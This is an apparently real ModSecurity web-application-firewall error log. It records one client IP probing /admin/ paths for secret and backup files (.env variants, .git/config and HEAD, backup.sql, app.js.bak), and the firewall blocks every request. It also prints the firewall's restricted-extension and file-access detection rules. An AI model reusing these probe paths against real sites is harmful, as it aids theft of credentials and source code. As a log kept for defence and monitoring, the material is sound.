[Sun Jun 29 20:15:04.909326 2025] [:error] [pid 2968165] [client 185.177.72.107:36646] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aGGCqOU-dj-hWt1UAd7gbAAAAAU&quot;]
[Sun Jun 29 20:15:04.909511 2025] [:error] [pid 2968165] [client 185.177.72.107:36646] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aGGCqOU-dj-hWt1UAd7gbAAAAAU&quot;]
[Sun Jun 29 20:15:04.909762 2025] [:error] [pid 2968165] [client 185.177.72.107:36646] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aGGCqOU-dj-hWt1UAd7gbAAAAAU&quot;]
[Sun Jun 29 20:15:04.910026 2025] [:error] [pid 2968165] [client 185.177.72.107:36646] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aGGCqOU-dj-hWt1UAd7gbAAAAAU&quot;]
[Sun Jun 29 20:15:15.879505 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env~&quot;] [unique_id &quot;aGGCs3tTxOj9v32ojom5xQAAAAE&quot;]
[Sun Jun 29 20:15:15.880658 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env~&quot;] [unique_id &quot;aGGCs3tTxOj9v32ojom5xQAAAAE&quot;]
[Sun Jun 29 20:15:15.880869 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env~&quot;] [unique_id &quot;aGGCs3tTxOj9v32ojom5xQAAAAE&quot;]
[Sun Jun 29 20:15:16.033531 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5xgAAAAE&quot;]
[Sun Jun 29 20:15:16.033768 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5xgAAAAE&quot;]
[Sun Jun 29 20:15:16.033953 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5xgAAAAE&quot;]
[Sun Jun 29 20:15:16.057281 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/HEAD&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5xwAAAAE&quot;]
[Sun Jun 29 20:15:16.057523 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/HEAD&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5xwAAAAE&quot;]
[Sun Jun 29 20:15:16.057710 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/HEAD&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5xwAAAAE&quot;]
[Sun Jun 29 20:15:16.079870 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5yAAAAAE&quot;]
[Sun Jun 29 20:15:16.080123 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5yAAAAAE&quot;]
[Sun Jun 29 20:15:16.080308 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5yAAAAAE&quot;]
[Sun Jun 29 20:15:16.102322 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/logs/HEAD&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5yQAAAAE&quot;]
[Sun Jun 29 20:15:16.102591 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/logs/HEAD&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5yQAAAAE&quot;]
[Sun Jun 29 20:15:16.102770 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/logs/HEAD&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5yQAAAAE&quot;]
[Sun Jun 29 20:15:16.124883 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /admin/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.gitignore&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5ygAAAAE&quot;]
[Sun Jun 29 20:15:16.125122 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.gitignore&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5ygAAAAE&quot;]
[Sun Jun 29 20:15:16.125306 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.gitignore&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5ygAAAAE&quot;]
[Sun Jun 29 20:15:16.147180 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/access.log&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5ywAAAAE&quot;]
[Sun Jun 29 20:15:16.147512 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/access.log&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5ywAAAAE&quot;]
[Sun Jun 29 20:15:16.147716 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/access.log&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5ywAAAAE&quot;]
[Sun Jun 29 20:15:16.215791 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/app.js.bak&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5zgAAAAE&quot;]
[Sun Jun 29 20:15:16.216157 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/app.js.bak&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5zgAAAAE&quot;]
[Sun Jun 29 20:15:16.216363 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/app.js.bak&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5zgAAAAE&quot;]
[Sun Jun 29 20:15:16.238300 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/backup.sql&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5zwAAAAE&quot;]
[Sun Jun 29 20:15:16.238670 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/backup.sql&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5zwAAAAE&quot;]
